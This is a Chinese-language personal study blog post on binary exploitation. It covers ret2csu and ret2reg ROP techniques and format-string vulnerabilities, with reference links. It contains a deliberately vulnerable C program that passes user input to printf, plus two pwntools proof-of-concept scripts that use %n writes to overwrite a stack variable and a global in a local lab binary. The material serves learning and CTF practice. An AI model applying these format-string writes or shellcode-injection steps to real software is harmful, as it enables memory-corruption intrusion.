Fork me on GitHub

栈溢出笔记-第五天

ROP x64位的,ret2csu:
http://www.vuln.cn/6644
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/#ret2reg
plt和got看这俩篇文章:
https://blog.csdn.net/linyt/article/details/51635768
https://luomuxiaoxiao.com/?p=578#221
其他都明白,payload ‘a' * 0x38这里,https://bbs.pediy.com/thread-255277.htm文章解释的能理解。
Alt text
但是 ’a'*8,解释的有点懵逼,有待重新调试。
Alt text
不同版本的__libc_csu_init 有一定的区别
看雪上的
Alt text
ctf-wiki上的
Alt text
这块结合玉涵视频学习。
ret2reg
https://blog.csdn.net/AcSuccess/article/details/104465113
原理
1、查看栈溢出返回时哪个寄存器指向缓冲区空间。
2、查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
3、将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)
利用思路
1、分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
2、向寄存器指向的缓冲区中注入shellcode
3、查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret
防御方法
在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞。
Alt text
原理比较简单:
因为执行了,lea eax,[ebp+buffer],在vul这个函数执行完retn后,eax还是指向[ebp+buffer]的,如果缓冲区部署shellcode,ebp下一条指令栈溢出为call eax=> call[ebp+buffer]=>call shellcode。


在看BROP时,发现CTF-wiki写的有点难理解,高级ROP也没看:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/
最近效率低换个思路,做一做实际栈溢出的题目,看格式化字符串的漏洞。刷xq17师傅的题目
在看格式化字符串时,看到覆盖栈内存有点疑问。

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

目的是修改c==16。
1、确定覆盖地址,题目给出c的地址了。
2、确定相对偏移
Alt text
3、进行覆盖
正常时,c=789,在格式化字符串前,第二个printf下断,ebp-c的位置存放局部变量也就是789
Alt text
执行完成后是不会覆盖c的值的
Alt text
执行下面poc前,在第二个printf前下断
poc:

from pwn import *
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + 'a'*0 + '%6$n'
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

执行前的堆栈
Alt text
执行后的堆栈,ebp-c 修改为0x4也就是c地址的长度,所以如果要改为16,再输入 12 个字符,把上面poc改为'a'*12。
Alt text
上面覆盖堆栈中的内容,下面覆盖任意地址内容,修改a的值

from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

aa%k$nxx,如果用这样的方式,前面 aa%k 是第六个参数,$nxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx
调试一下,现在printf前下断,看下0x0804A024地址内容
Alt text
执行后
Alt text
a、b 是已初始化的全局变量
覆盖大数
Alt text
Alt text
ctf-wiki上往后就是格式化字符串的例子先放一放,看看这个:https://bbs.pediy.com/thread-255483.htm

posted @ 2020-04-12 17:23  Afant1  阅读(394)  评论(0编辑  收藏  举报